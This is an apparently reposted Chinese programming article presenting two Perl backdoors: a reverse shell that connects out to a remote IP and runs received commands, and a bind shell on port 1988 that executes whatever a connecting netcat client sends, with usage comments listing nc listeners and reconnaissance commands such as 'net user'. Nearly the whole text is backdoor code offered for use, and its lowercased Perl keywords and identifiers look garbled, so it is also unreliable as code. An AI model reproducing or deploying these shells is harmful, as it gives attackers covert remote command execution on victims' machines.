perl后门,正向和反向!实例代码
程序员文章站
2022-03-22 13:35:52
by 小杰 都是使用nc监听
反向连接代码:
#!/usr/bin/perl
#usage:
#nc -vv -l -p port(defaul...
by 小杰 都是使用nc监听
反向连接代码:
#!/usr/bin/perl #usage: #nc -vv -l -p port(default 1988) on your local system first,then #perl $0 remote ip(default 127.0.0.1) remote_port(default 1988) #type 'exit' to exit or press enter to gain shell when u under the 'console'. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use socket; use io::socket; use cwd; use io::handle; my $remote = $argv[0] || "127.0.0.1"; my $remote_port = $argv[1] || 1988; my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); $argc = @argv; if ( $argv[0] !~ /-/ ) { socket( socket, pf_inet, sock_stream, getprotobyname('tcp') ) or die "socket error: "; stdout->autoflush(1); socket->autoflush(1); $conn = connect( socket, $pack_addr ) || die "connection error : $!"; open stdin, ">&socket"; open stdout, ">&socket"; open stderr, ">&socket"; print "you are in $path\n"; print "welcome to use.\n"; print "console>\n"; while (<stdin>) { chomp; if ( lc($_) eq 'exit' ) { print " bye bye!"; exit; } $msg = system($_); if ($msg) { print stdout "\n$msg\n"; print stdout "console>"; } else { print "console>"; } } close socket; exit; }
正向连接代码:
#!/usr/bin/perl #activeperl 5.8.8 build 822 #usage: #first:perl backdoor2c.pl #second:nc -vv 127.0.0.1 1988 #net user #ipconfig /all #netstat -anb use io::socket; $port = "1988"; my $socket = new io::socket::inet( 'localhost' => '127.0.0.1', 'localport' => $port, 'listen' => 1, 'proto' => 'tcp', 'reuse' => 1 ); die "reason: $!" unless $socket; while ( my $new_socket = $socket->accept() ) { while ( my $buffer = <$new_socket> ) { if ( $buffer =~ /exit/ ) { exit; } $res_msg = `$buffer`; print $new_socket "$res_msg\ncmd>"; } }
这篇文章就结束到这了,希望能帮助到有需要的朋友。
上一篇: 关于Perl里面正则表达式规范
下一篇: perl 子程序 sub